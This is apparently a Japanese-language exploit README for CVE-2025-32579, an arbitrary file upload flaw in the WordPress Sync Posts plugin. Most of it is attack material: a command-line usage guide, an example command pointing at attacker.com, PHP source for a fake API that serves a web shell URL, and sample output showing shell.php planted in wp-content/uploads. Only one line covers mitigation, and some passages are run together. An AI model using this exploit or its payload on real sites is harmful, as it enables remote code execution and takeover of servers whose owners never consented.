
WordPress Sync Posts Plugin <= 1.0 には任意のファイルアップロードの脆弱性があります。
📦 影響を受ける: Sync Posts <= 1.0
🧨 CVSS スコア: 9.9 CRITICAL
📁 CVSS ベクター:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Sync Posts WordPress プラグイン (SoftClever Limited 製) には、制限なしファイルアップロードの脆弱性があり、認証済み攻撃者が任意の PHP ファイル (Web シェルなど) をサーバーにアップロードして実行できるようになります。
website_url を受け入れます。wp-content/uploads 内に保存されます。エクスプロイトスクリプトは一連の流れ全体を自動化します:
<img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/..."> としてシェルを含む JSON 投稿を返す偽の API PHP を生成しますwebsite_url を admin-ajax.php?action=sync_posts に送信します/uploads/ に保存させますusage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL
Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://target.com/wordpress)
-un, --username USERNAME
Username to login
-p, --password PASSWORD
Password to login
-ws, --website WEBSITE
URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
-shell, --webshell WEBSHELL
Web shell URL used inside the fake API (can be a test image)
python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php
テスト用に実際のシェルの代わりにダミー画像を使用することもできます:
--webshell https://via.placeholder.com/1x1.jpg
これは Khaled_alenazi.php によって返される応答です:
<?php
header('Content-Type: application/json');
echo json_encode([
[
"id" => 1,
"title" => ["rendered" => "Nxploited"],
"content" => [
"rendered" => "<img src="http://attacker.com/shell.php">"
]
]
]);
?>
[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
"success": true,
"data": {
"message": "Posts imported successfully",
...
}
}
shell.phpwp-content/uploads/2025/04/shell.phpwebsite_url へのアクセスを内部ドメインまたはホワイトリスト登録済みホストに制限するCVE: CVE-2025-32579
エクスプロイト作成者: Nxploited (Khaled Alenazi)
| Flag | Description |
|---|
-u, --url | 対象 WordPress URL |
-un, --username | WordPress ユーザー名 (admin) |
-p, --password | WordPress パスワード |
-ws, --website | 偽の投稿 JSON を返す悪意のある PHP ファイルの URL |
-shell, --webshell | `` 経由で注入する実際のシェルファイル |